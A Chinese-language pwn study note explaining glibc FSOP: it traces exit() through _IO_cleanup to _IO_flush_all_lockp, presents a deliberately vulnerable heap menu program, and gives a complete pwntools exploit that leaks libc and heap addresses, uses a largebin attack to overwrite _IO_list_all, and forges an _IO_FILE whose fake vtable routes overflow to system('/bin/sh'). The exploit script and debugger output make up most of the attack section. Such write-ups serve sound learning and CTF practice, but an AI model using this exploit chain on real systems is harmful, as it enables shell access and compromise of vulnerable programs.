【我的 PWN 学习手札】IO

FSOP：File Stream Oriented Programming

通过劫持 _IO_list_all 指向伪造的 _IO_FILE_plus，进而调用fake IO_FILE 结构体对象中被伪造的vtable指向的恶意函数。

前言

一、glibc-exit函数浅析

二、FSOP

三、Largebin attack + FSOP

（一）Leak libc

（二）Largebin attack

（三）FSOP

（四）调试追踪调用

（五）EXP

前言

我们将着重关注vtable中的_IO_file_overflow函数指针。

当函数exit时，程序执行_IO_flush_all_lockp 函数。该函数会刷新 _IO_list_all 链表中所有项的文件流，相当于对每个 FILE 调用fflush ，也对应着会调用 _IO_FILE_plus.vtable 中的_IO_overflow。

参考宝藏博主：linux IO_FILE 利用_io list all结构体-CSDN博客

一、glibc-exit函数浅析

一般FSOP可以通过exit来触发布置好的fake IO，我们来粗略过一遍流程

// exit.c
void exit(int status)
{__run_exit_handlers(status, &__exit_funcs, true);
}
libc_hidden_def(exit)/* Call all functions registered with `atexit' and `on_exit',in the reverse of the order in which they were registeredperform stdio cleanup, and terminate program execution with STATUS.  */
voidattribute_hidden__run_exit_handlers(int status, struct exit_function_list **listp,bool run_list_atexit)
{/* First, call the TLS destructors.  */
#ifndef SHAREDif (&__call_tls_dtors != NULL)
#endif__call_tls_dtors();/* We do it this way to handle recursive calls to exit () made bythe functions registered with `atexit' and `on_exit'. We calleveryone on the list and use the status value in the lastexit (). */while (*listp != NULL){struct exit_function_list *cur = *listp;while (cur->idx > 0){const struct exit_function *const f =&cur->fns[--cur->idx];switch (f->flavor){void (*atfct)(void);void (*onfct)(int status, void *arg);void (*cxafct)(void *arg, int status);case ef_free:case ef_us:break;case ef_on:onfct = f->func.on.fn;
#ifdef PTR_DEMANGLEPTR_DEMANGLE(onfct);
#endifonfct(status, f->func.on.arg);break;case ef_at:atfct = f->func.at;
#ifdef PTR_DEMANGLEPTR_DEMANGLE(atfct);
#endifatfct();break;case ef_cxa:cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLEPTR_DEMANGLE(cxafct);
#endifcxafct(f->func.cxa.arg, status);break;}}*listp = cur->next;if (*listp != NULL)/* Don't free the last element in the chain, this is the staticallyallocate element.  */free(cur);}if (run_list_atexit)RUN_HOOK(__libc_atexit, ());_exit(status);
}

exit实际调用了__run_exit_handlers函数。它的作用是在程序退出时调用所有通过 atexit 和 on_exit 注册的函数，并执行标准 I/O 清理，最终终止程序执行。

对于函数参数中的&__exit_funcs，可以继续追踪定位到其实现：

// cxa_atexit.c/* Register a function to be called by exit or when a shared libraryis unloaded.  This function is only called from code generated bythe C++ compiler.  */
int __cxa_atexit(void (*func)(void *), void *arg, void *d)
{return __internal_atexit(func, arg, d, &__exit_funcs);
}
libc_hidden_def(__cxa_atexit)/* We change global data, so we need locking.  */__libc_lock_define_initialized(static, lock)static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;

对于“执行标准 I/O 清理”操作我们更为关心，chat得知是下述函数实现：

  if (run_list_atexit)RUN_HOOK(__libc_atexit, ());

经过全局搜索可追溯到：

// genops.c
#ifdef text_set_element
text_set_element(__libc_atexit, _IO_cleanup);
#endif

此处已经看到，执行了IO清理的操作，继续追溯：

int
_IO_cleanup (void)
{/* We do *not* want locking.  Some threads might use streams butthat is their problem, we flush them underneath them.  */int result = _IO_flush_all_lockp (0);/* We currently don't have a reliable mechanism for making sure thatC++ static destructors are executed in the correct order.So it is possible that other static destructors might want towrite to cout - and they're supposed to be able to do so.The following will make the standard streambufs be unbuffered,which forces any output from late destructors to be written out. */_IO_unbuffer_all ();return result;
}int
_IO_flush_all_lockp (int do_lock)
{int result = 0;struct _IO_FILE *fp;int last_stamp;#ifdef _IO_MTSAFE_IO__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);if (do_lock)_IO_lock_lock (list_all_lock);
#endiflast_stamp = _IO_list_all_stamp;fp = (_IO_FILE *) _IO_list_all;while (fp != NULL){run_fp = fp;if (do_lock)_IO_flockfile (fp);if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base))
#endif)&& _IO_OVERFLOW (fp, EOF) == EOF)result = EOF;if (do_lock)_IO_funlockfile (fp);run_fp = NULL;if (last_stamp != _IO_list_all_stamp){/* Something was added to the list.  Start all over again.  */fp = (_IO_FILE *) _IO_list_all;last_stamp = _IO_list_all_stamp;}elsefp = fp->_chain;}#ifdef _IO_MTSAFE_IOif (do_lock)_IO_lock_unlock (list_all_lock);__libc_cleanup_region_end (0);
#endifreturn result;
}

至此看到，对于_IO_list_all上的IO_FILE链，都执行_IO_OVERFLOW的操作。

二、FSOP

劫持 _IO_list_all 的方式一般有两种：

修改 IO_FILE 结构体，为了不影响 IO 建议修改 _IO_2_1_stderr 结构体。
利用例如 large bin attack 的攻击方法将 _IO_list_all 覆盖成一个 chunk 地址，然后在该 chunk 上伪造 IO_FILE 结构体。

在劫持 _IO_2_1_stderr 时除了修改 vtable 指针指向伪造 vtable 外，要想调用 _IO_2_1_stderr 还需要修改以满足以下条件：

fp->_mode _IO_write_ptr > fp->_IO_write_base

因此不妨将 vtable 伪造在 _IO_2_1_stderr + 0x10 处使 _IO_overflow ， _IO_2_1_stderr 的 fp->_IO_write_ptr 恰好对应于 vtable 的 _IO_overflow 。然后将fp->_IO_write_ptr 写入 system 函数地址。由于_IO_overflow 传入的参数为_IO_2_1_stderr 结构体，因此将结构体其实位置处写入 /bin/sh 字符串。

——by _sky123_

这里通过模板题，利用largebin attack来实现FSOP

三、Largebin attack + FSOP

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

（一）Leak libc

同时为了准备largebin attack，申请largebin范围大小的chunk

# leak libc
add(0,0x10)
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x10)
delete(0)
delete(2)

show(0)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
show(2)
io.recvline()
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success(hex(heap_base))

（二）Largebin attack

# Largebin attack
add(0,0x418)
add(10,0x500)   
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))     
delete(0)
add(10,0x500)

确实写了一个堆地址，但是为了能够布置数据，我们希望能将堆申请出来。为此我们不通过申请大chunk来触发largebin attack，而是申请一个小chunk，释放unsortedbin chunk到largebin中触发，又从largebin中取出chunk，到unsortedbin。至此largebin里只剩下目标chunk，我们再恢复一下相关指针，就可以将该chunk malloc出来。

修改上述exp片段代码

# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(10,0x10)

可以看到unsortedbin里有一个chunk，largebin生下了目标chunk，接下来恢复指针

# fd、bk指向libc，fd_nextsize、bk_nextsize指向自己
edit(2,p64(libc.address+0x39bf68)*2+p64(heap_base+0x460)*2)

接下来申请出目标chunk

add(0,0x428)

（三）FSOP

可见我们可控的区域实际上偏移了0x10，为此我们可以通过物理临近的前一个chunk复用prev_size字段来修改。

IO_FILE有模板，这里给出（来自这个大佬的博客）

fake_file = b""
fake_file += b"/bin/sh\x00"  # _flags, an magic number
fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8, b'\x00')  # adjust to vtable
fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable

由于缺了0x10可控，这里需要薛微调整一下：

fake_file = b""
# fake_file += b"/bin/sh\x00"  # _flags, an magic number
# fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
# fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable
fake_file += p64(heap_base+0x460 + 0x10)  # fake vtable
edit(0,fake_file)

然后就：

pwndbg> p *_IO_list_all
$4 = {file = {_flags = 0,_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,_IO_read_end = 0x0,_IO_read_base = 0x0,_IO_write_base = 0x0,_IO_write_ptr = 0x72d08ec3f560 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",_IO_write_end = 0x0,_IO_buf_base = 0x0,_IO_buf_end = 0x0,_IO_save_base = 0x0,_IO_backup_base = 0x0,_IO_save_end = 0x0,_markers = 0x0,_chain = 0x72d08ef9c620 <_IO_2_1_stdout_>,_fileno = 2,_flags2 = 0,_old_offset = -1,_cur_column = 0,_vtable_offset = 0 '\000',_shortbuf = "\n",_lock = 0x72d08ef9e4c0 <prof_info+160>,_offset = -1,_codecvt = 0x0,_wide_data = 0x72d08ef9c4c0 <_nl_global_locale+160>,_freeres_list = 0x0,_freeres_buf = 0x0,__pad5 = 0,_mode = -1,_unused2 = '\000' <repeats 19 times>},vtable = 0x5e7f135df470
}
pwndbg> p *_IO_list_all.vtable 
$5 = {__dummy = 0,__dummy2 = 0,__finish = 0x0,__overflow = 0x72d08ec3f560 <__libc_system>,__underflow = 0x0,__uflow = 0x0,__pbackfail = 0x0,__xsputn = 0x0,__xsgetn = 0x0,__seekoff = 0x0,__seekpos = 0x0,__setbuf = 0x72d08ef9c620 <_IO_2_1_stdout_>,__sync = 0x2,__doallocate = 0xffffffffffffffff,__read = 0xa000000,__write = 0x72d08ef9e4c0 <prof_info+160>,__seek = 0xffffffffffffffff,__close = 0x0,__stat = 0x72d08ef9c4c0 <_nl_global_locale+160>,__showmanyc = 0x0,__imbue = 0x0
}

然后我们通过chunk_list[1]来布置"/bin/sh\x00"

edit(1,p64(0)*2+b'/bin/sh\x00')

（四）调试追踪调用

exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> fileop.vtable.overflow

fileop已经被我们劫持，也在该结构体头布置了”/bin/sh\x00"参数，因此执行system("/bin/sh\x00")

（五）EXP

from pwn import *elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context.arch=elf.arch
context.log_level='debug'
context.os=elf.os
def add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io=process("./pwn")# leak libc
add(0,0x10)
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x10)
delete(0)
delete(2)show(0)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39bb78
success(hex(libc.address))
show(2)
io.recvline()
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~0xfff
success(hex(heap_base))# Largebin attack
add(0,0x418)
add(10,0x500)
edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))  # 0x39bf68
delete(0)
add(10,0x10)
edit(2,p64(libc.address+0x39bf68)*2+p64(heap_base+0x460)*2)
add(0,0x428)fake_file = b""
# fake_file += b"/bin/sh\x00"  # _flags, an magic number
# fake_file += p64(0)  # _IO_read_ptr
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(0)  # _IO_buf_base;
fake_file += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
# fake_file += p64(libc.sym['_IO_2_1_stderr_'] + 0x10)  # fake vtable
fake_file += p64(heap_base+0x460 + 0x10)  # fake vtable
edit(0,fake_file)
edit(1,p64(0)*2+b'/bin/sh\x00')gdb.attach(io,'b exit\nc')io.interactive()